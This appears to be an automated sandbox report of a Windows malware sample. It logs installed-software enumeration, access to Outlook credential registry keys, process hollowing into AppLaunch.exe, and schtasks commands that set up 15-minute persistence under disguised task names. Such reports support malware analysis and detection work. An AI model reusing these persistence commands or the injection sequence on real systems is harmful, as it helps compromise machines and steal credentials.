RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Word MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001B-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proofing Tools 2013 - English regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Outils de vérification linguistique 2013 de Microsoft Office - Français regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-040C-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proofing Tools 2013 - Español regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-0C0A-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proofing (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-002C-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft InfoPath MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0044-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Shared MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-006E-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft DCF MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0090-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft OneNote MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00A1-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Groove MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00BA-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office OSM MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00E1-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office OSM UX MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00E2-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Shared Setup Metadata MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0115-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Access Setup Metadata MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0117-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Lync MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-012B-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Professional Plus 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{91150000-0011-0000-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Flash Player 13 ActiveX regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Flash Player 13 NPAPI regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Acrobat Reader DC MUI regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-FFFF-7B44-AC0F074E4100}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Visual C++ 2015 Redistributable (x64) - 14.0.24215 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{d992c12e-cab2-426f-bde3-fb8c53950b0d}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003ac regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 7-Zip 20.02 alpha regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003ac regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe AIR regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003ac regkey_r: DisplayName reg_type: 1 (REG_SZ) value: EditPlus regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003ac regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Chrome regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003ac regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003ac regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Mozilla Thunderbird 78.4.0 (x86 ko) regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003ac regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Professional Plus 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Office15.PROPLUSR\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003ac regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe AIR regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003ac regkey_r: DisplayName reg_type: 1 (REG_SZ) value: HttpWatch Professional 9.3.39 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003ac regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003ac regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Java 8 Update 131 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F32180131F0}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003ac regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Java Auto Updater regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}\DisplayName	1

Harvests credentials from local email clients (1 event)

registry

HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\Email

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (6 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1608 called NtSetContextThread to modify thread in remote process 2172
Process injection	Process 2968 called NtSetContextThread to modify thread in remote process 2180
Process injection	Process 1028 called NtSetContextThread to modify thread in remote process 496
NtSetContextThread Sept. 13, 2023, 7:43 a.m.	registers.eip: 2005598660 registers.esp: 1375992 registers.edi: 0 registers.eax: 4221536 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000002c process_identifier: 2172	1	0	0
NtSetContextThread Sept. 13, 2023, 7:44 a.m.	registers.eip: 2005598660 registers.esp: 5308128 registers.edi: 0 registers.eax: 4207172 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000002c process_identifier: 2180	1	0	0
NtSetContextThread Sept. 13, 2023, 7:44 a.m.	registers.eip: 2005598660 registers.esp: 2882800 registers.edi: 0 registers.eax: 4198977 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x000000f4 process_identifier: 496	1	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (6 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1608 resumed a thread in remote process 2172
Process injection	Process 2968 resumed a thread in remote process 2180
Process injection	Process 1028 resumed a thread in remote process 496
NtResumeThread Sept. 13, 2023, 7:43 a.m.	thread_handle: 0x0000002c suspend_count: 1 process_identifier: 2172	1	0	0
NtResumeThread Sept. 13, 2023, 7:44 a.m.	thread_handle: 0x0000002c suspend_count: 1 process_identifier: 2180	1	0	0
NtResumeThread Sept. 13, 2023, 7:44 a.m.	thread_handle: 0x000000f4 suspend_count: 1 process_identifier: 496	1	0	0

Executed a process and injected code into it, probably while unpacking (50 out of 57 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW Sept. 13, 2023, 7:43 a.m.	thread_identifier: 2176 thread_handle: 0x0000002c process_identifier: 2172 current_directory: filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe track: 1 command_line: filepath_r: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x000000a0	1	1
NtGetContextThread Sept. 13, 2023, 7:43 a.m.	thread_handle: 0x0000002c	1	0
NtAllocateVirtualMemory Sept. 13, 2023, 7:43 a.m.	process_identifier: 2172 region_size: 593920 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000000a0	1	0
WriteProcessMemory Sept. 13, 2023, 7:43 a.m.	buffer: MZÿÿ¸@àº´ Í!¸LÍ!This program cannot be run in DOS mode. $×â%KÔKÔKÔöåNÕKÔöåHÕKÔöåOÕKÔöåJÕKÔJÔ KÔöåCÕKÔöå´ÔKÔöåIÕKÔRichKÔPELâ`bà dX`j@ m² @Á ¢´À 9 T@ .textcd `.dataHh@À.idataR j@@.rsrc@À:\|@@.reloc ¶@B base_address: 0x00400000 process_identifier: 2172 process_handle: 0x000000a0	1	1
WriteProcessMemory Sept. 13, 2023, 7:43 a.m.	buffer: base_address: 0x00401000 process_identifier: 2172 process_handle: 0x000000a0	1	1
WriteProcessMemory Sept. 13, 2023, 7:43 a.m.	buffer: Næ@»±¿DSystem\CurrentControlSet\Control\Session Managerrundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"Software\Microsoft\Windows\CurrentVersion\RunOncewextract_cleanup%drundll32.exe %s,InstallHinfSection %s 128 %sPendingFileRenameOperationsDefaultInstallCommand.com /c %s%s /D:%sSystem\CurrentControlSet\Control\Session Manager\FileRenameOperationsSHELL32.DLLDoInfInstallSHBrowseForFolderSHGetPathFromIDList*MEMCABþÿÿÿþÿÿÿ base_address: 0x00408000 process_identifier: 2172 process_handle: 0x000000a0	1	1
WriteProcessMemory Sept. 13, 2023, 7:43 a.m.	buffer: base_address: 0x0040a000 process_identifier: 2172 process_handle: 0x000000a0	1	1
WriteProcessMemory Sept. 13, 2023, 7:43 a.m.	buffer: base_address: 0x0040c000 process_identifier: 2172 process_handle: 0x000000a0	1	1
WriteProcessMemory Sept. 13, 2023, 7:43 a.m.	buffer: À00D0H0P0X0°0¼0À0R7÷788'8.8W8n888¬8¶8í8ô899.9F9f9\|999¥9¯9Á9ì9:&:K:Q:d:l:ô:/;<;¡;Ü;é;<<A<Y<u<<<<ª<¯<´<º<Ä<Ï<ú<===$=.=<====Ê=>>F>³>¼>Ê>ë>ý>?)?0?O?Z?o?°?È?Õ?é?ü? h000"060000¦0¿0Ë0ì0ò01 1$1/161F1]1f111©1Ã1æ1ò1÷12232?2K2R2s2~22¥2Î2Ú233"3.3d3p3\|33×3ø3"4)424=4Y44¥4±4À4Ç4ì455.5=5N5W5©5´5Ä5Í5ß5ö566<6V66¦6½6î6&7Y77ª7·7¾7å7+8H8T8r8¢8¬8»8F9Z9k999¤9#:q::¸:â:è:ô:; ;W;;Í;Ö;<<<#<<?<Y<x<<<<<¶<Í<Õ<å<õ<= ==6=<=B=I=N=p===°=µ=¿=Î=Ú=ñ=>>>!><>D>U>\>h>p>y>>>²>¾>Ù>)?5?A?X???´?Á?È?Ü?â?ú?0\|0000=0V0g0q0}0000¤0ì0ò0=1M1_1l1q1x111111¥1²1Ì1Ò1b2m2s2¦2²2Ê2Ð2ã2ð23343^3}3¦3¯3Î3ä3ò3ù344(4/4A44444´4º4Æ4Í4Ú41575C5[5a5g5s5555£5©5¯5Ã5É5Ú5ó5ú5666%661696>6j6s6¡6´6Í6Ü6ú6%7_7e7j7{777¯7´7»7Á7±9Å9ê9ó9:G:_:d::¯:µ:»:Æ:Ì:Ò:Ý:î:ö:;;;;/;C;L;U;^;};;;±;Ä;Õ;Þ;ã;#<5<<<®<Ê<Þ<=(=7=a=p=~==Ê=Ò=ð=> >(>>>X>d>l>x>>¯>Ï>â>ö>?!?B?I?x????Ä?Ê?Ü?û?@x50K0^0j0q000ª0°0Ë0Þ0ë01,1Q1_1t11¬1Æ1Í1é120282G2N2e2u2\|222¡2¦2¸2¾2Ä2Ò2Ø2ë23333<3E3X3`3j3333§3Ù3ó3 4%404<4I4¤4Å4Ð4å455F5V5¥5å5626[6h6q6¢6«6Å6Î6Õ6ç6ñ6C77777£7Ä7Ô7ì7ø7%838I8f8q8à89[9e999§9Ã9Ì9Þ9ç9ì9ò9ø9:::5:;:]:m:s::::³:×:â:;;;%;+;3;D;V;p;z;;;;;;¦;Ñ;é;ô;ÿ;#<)<E<V<h<z<<¬<Ê<Ü<ç<7=·=Ì=ß=ä=y> >«>º>Ë>Ú>é>õ>?"?'?,?1?6?;?@?F?^?y??ª?ç?ú?P\|0000!02090F0L0S0b0~0000000£0©0·0½0Ã0È0Ï0ß0ê0ð0111#1<1E1U1[1g1l111 1²1·1Á1ð12$212R2X2c2j2u22 2¨2Â2Î2Ù2ä2ô2ü2333#3,353L3_3e3u3\|333Á3ý344!4-464T4a4s4¬4»4Ë4ê4ñ4ø4ÿ4 55?5I5b5k5q5}55¬5¾5Ñ5ò56"6(636:6G6N6S6a6o66¤6¯6»6õ6 797Ï7Ô7ñ7828>8z8¢8é89$9E9O9^9e9v99ª9±9Ò9:B:f:::§:¾:";7;D;L;T;^;;¾;Í;Ú;þ;ª<ð<Ô=á=ò=ø=þ=>@>¦>°>Î>ã>??$?-?6?B?H?g?q?©?Ã?Ù?` 0040>0¬0³0À0Ü01Á1Ü1è1ó1ú12A2`22¡2´2Ï2Ö2333G3Y3a3¥3Ì3ì3/4<4]4o4\|4¡44Ã4á4û45!5,5:5Y5b5¼566+676`66³6è6C7¯7¼7Ò7Ù7ä7 88+888_8p8©8Ã8Î8ê8ö8949<999¸9Ä9Ê9Ñ9Ú9à9è9î9û9: :!:&:,:1:6:;:@:F:N:m:::¶:Á:Ó:Û:à:å:; ;;;&;5;=;E;Y;a;h;§;±;·;Á;Ü; <<< <)<.<^<x<<<<<¸<Â<Í<â<ù<= ==&=,=2=8=>=D=K=R=Y=`=g=n=u=}====¢=§==·=Á=Ñ=á=ç=ò=ø=>>>0>6><>B>H>N>U>\>c>j>q>x>>>>>¡>¦>¬>¶>À>Ð>Ù>)?A?G?P?W?Ç?ö?pDh0m000±0·0f1111¥1º1Ï1Þ1æ1û12 2&222¥2«2±2Ì2Ð2ì2ð233 2 base_address: 0x00490000 process_identifier: 2172 process_handle: 0x000000a0	1	1
WriteProcessMemory Sept. 13, 2023, 7:43 a.m.	buffer: @ base_address: 0xfffde008 process_identifier: 2172 process_handle: 0x000000a0	1	1
NtSetContextThread Sept. 13, 2023, 7:43 a.m.	registers.eip: 2005598660 registers.esp: 1375992 registers.edi: 0 registers.eax: 4221536 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000002c process_identifier: 2172	1	0
NtResumeThread Sept. 13, 2023, 7:43 a.m.	thread_handle: 0x0000002c suspend_count: 1 process_identifier: 2172	1	0
CreateProcessInternalW Sept. 13, 2023, 7:43 a.m.	thread_identifier: 2328 thread_handle: 0x0000001c process_identifier: 2324 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\IXP000.TMP\y5477514.exe filepath_r: stack_pivoted: 0 creation_flags: 524320 (EXTENDED_STARTUPINFO_PRESENT\|NORMAL_PRIORITY_CLASS) inherit_handles: 0 process_handle: 0x000000e4	1	1
CreateProcessInternalW Sept. 13, 2023, 7:44 a.m.	thread_identifier: 1740 thread_handle: 0x000000e4 process_identifier: 1028 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\IXP000.TMP\o4696120.exe filepath_r: stack_pivoted: 0 creation_flags: 524320 (EXTENDED_STARTUPINFO_PRESENT\|NORMAL_PRIORITY_CLASS) inherit_handles: 0 process_handle: 0x0000001c	1	1
CreateProcessInternalW Sept. 13, 2023, 7:43 a.m.	thread_identifier: 2376 thread_handle: 0x0000001c process_identifier: 2372 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\IXP001.TMP\m5507002.exe filepath_r: stack_pivoted: 0 creation_flags: 524320 (EXTENDED_STARTUPINFO_PRESENT\|NORMAL_PRIORITY_CLASS) inherit_handles: 0 process_handle: 0x00000128	1	1
CreateProcessInternalW Sept. 13, 2023, 7:44 a.m.	thread_identifier: 2056 thread_handle: 0x00000128 process_identifier: 2064 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\IXP001.TMP\n1572014.exe filepath_r: stack_pivoted: 0 creation_flags: 524320 (EXTENDED_STARTUPINFO_PRESENT\|NORMAL_PRIORITY_CLASS) inherit_handles: 0 process_handle: 0x0000001c	1	1
CreateProcessInternalW Sept. 13, 2023, 7:44 a.m.	thread_identifier: 2896 thread_handle: 0x00000308 process_identifier: 2892 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\6rVkpNETfwTuXfY.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\6rVkpNETfwTuXfY.exe stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 0 process_handle: 0x00000290	1	1
CreateProcessInternalW Sept. 13, 2023, 7:44 a.m.	thread_identifier: 2932 thread_handle: 0x000002c8 process_identifier: 2928 current_directory: filepath: C:\Windows\System32\cmd.exe track: 1 command_line: /c schtasks /create /F /sc minute /mo 15 /tr "C:\Users\test22\AppData\Local\Temp\6rVkpNETfwTuXfY.exe" /tn "\WindowsAppPool\6rVkpNETfwTuXfY" filepath_r: C:\Windows\system32\cmd.exe stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 0 process_handle: 0x0000028c	1	1
CreateProcessInternalW Sept. 13, 2023, 7:44 a.m.	thread_identifier: 2972 thread_handle: 0x0000014c process_identifier: 2968 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\9N3sL7QG3mvcw8U.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\9N3sL7QG3mvcw8U.exe stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 0 process_handle: 0x000002cc	1	1
CreateProcessInternalW Sept. 13, 2023, 7:44 a.m.	thread_identifier: 3028 thread_handle: 0x0000030c process_identifier: 3024 current_directory: filepath: C:\Windows\System32\cmd.exe track: 1 command_line: /c schtasks /create /F /sc minute /mo 15 /tr "C:\Users\test22\AppData\Local\Temp\9N3sL7QG3mvcw8U.exe" /tn "\WindowsAppPool\9N3sL7QG3mvcw8U" filepath_r: C:\Windows\system32\cmd.exe stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 0 process_handle: 0x00000310	1	1
NtResumeThread Sept. 13, 2023, 7:44 a.m.	thread_handle: 0x00000188 suspend_count: 1 process_identifier: 2892	1	0
NtResumeThread Sept. 13, 2023, 7:44 a.m.	thread_handle: 0x000001fc suspend_count: 1 process_identifier: 2892	1	0
NtResumeThread Sept. 13, 2023, 7:44 a.m.	thread_handle: 0x00000244 suspend_count: 1 process_identifier: 2892	1	0
NtResumeThread Sept. 13, 2023, 7:44 a.m.	thread_handle: 0x00000274 suspend_count: 1 process_identifier: 2892	1	0
NtGetContextThread Sept. 13, 2023, 7:44 a.m.	thread_handle: 0x0000018c	1	0
NtGetContextThread Sept. 13, 2023, 7:44 a.m.	thread_handle: 0x0000018c	1	0
NtResumeThread Sept. 13, 2023, 7:44 a.m.	thread_handle: 0x0000018c suspend_count: 1 process_identifier: 2892	1	0
CreateProcessInternalW Sept. 13, 2023, 7:44 a.m.	thread_identifier: 2300 thread_handle: 0x00000138 process_identifier: 2296 current_directory: C:\Users\test22\AppData\Local\Temp\IXP001.TMP filepath: C:\Windows\System32\schtasks.exe track: 1 command_line: schtasks /create /F /sc minute /mo 15 /tr "C:\Users\test22\AppData\Local\Temp\6rVkpNETfwTuXfY.exe" /tn "\WindowsAppPool\6rVkpNETfwTuXfY" filepath_r: C:\Windows\system32\schtasks.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x0000013c	1	1
CreateProcessInternalW Sept. 13, 2023, 7:44 a.m.	thread_identifier: 932 thread_handle: 0x0000002c process_identifier: 2180 current_directory: filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe track: 1 command_line: filepath_r: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000130	1	1
NtGetContextThread Sept. 13, 2023, 7:44 a.m.	thread_handle: 0x0000002c	1	0
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2180 region_size: 36864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000130	1	0
WriteProcessMemory Sept. 13, 2023, 7:44 a.m.	buffer: MZÿÿ@@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL²dàHvD2@õ.textytv à base_address: 0x00400000 process_identifier: 2180 process_handle: 0x00000130	1	1
WriteProcessMemory Sept. 13, 2023, 7:44 a.m.	buffer: base_address: 0x00401000 process_identifier: 2180 process_handle: 0x00000130	1	1
WriteProcessMemory Sept. 13, 2023, 7:44 a.m.	buffer: @ base_address: 0xfffde008 process_identifier: 2180 process_handle: 0x00000130	1	1
NtSetContextThread Sept. 13, 2023, 7:44 a.m.	registers.eip: 2005598660 registers.esp: 5308128 registers.edi: 0 registers.eax: 4207172 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000002c process_identifier: 2180	1	0
NtResumeThread Sept. 13, 2023, 7:44 a.m.	thread_handle: 0x0000002c suspend_count: 1 process_identifier: 2180	1	0
CreateProcessInternalW Sept. 13, 2023, 7:44 a.m.	thread_identifier: 2104 thread_handle: 0x00000138 process_identifier: 2164 current_directory: C:\Users\test22\AppData\Local\Temp\IXP001.TMP filepath: C:\Windows\System32\schtasks.exe track: 1 command_line: schtasks /create /F /sc minute /mo 15 /tr "C:\Users\test22\AppData\Local\Temp\9N3sL7QG3mvcw8U.exe" /tn "\WindowsAppPool\9N3sL7QG3mvcw8U" filepath_r: C:\Windows\system32\schtasks.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x0000013c	1	1
NtResumeThread Sept. 13, 2023, 7:44 a.m.	thread_handle: 0x00000188 suspend_count: 1 process_identifier: 2064	1	0
NtResumeThread Sept. 13, 2023, 7:44 a.m.	thread_handle: 0x000001f8 suspend_count: 1 process_identifier: 2064	1	0
NtResumeThread Sept. 13, 2023, 7:44 a.m.	thread_handle: 0x00000210 suspend_count: 1 process_identifier: 2064	1	0
NtResumeThread Sept. 13, 2023, 7:44 a.m.	thread_handle: 0x00000254 suspend_count: 1 process_identifier: 2064	1	0
CreateProcessInternalW Sept. 13, 2023, 7:44 a.m.	thread_identifier: 1176 thread_handle: 0x0000002c process_identifier: 1628 current_directory: filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe track: 1 command_line: filepath_r: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x000000ec	1	1
NtGetContextThread Sept. 13, 2023, 7:44 a.m.	thread_handle: 0x0000002c	1	0
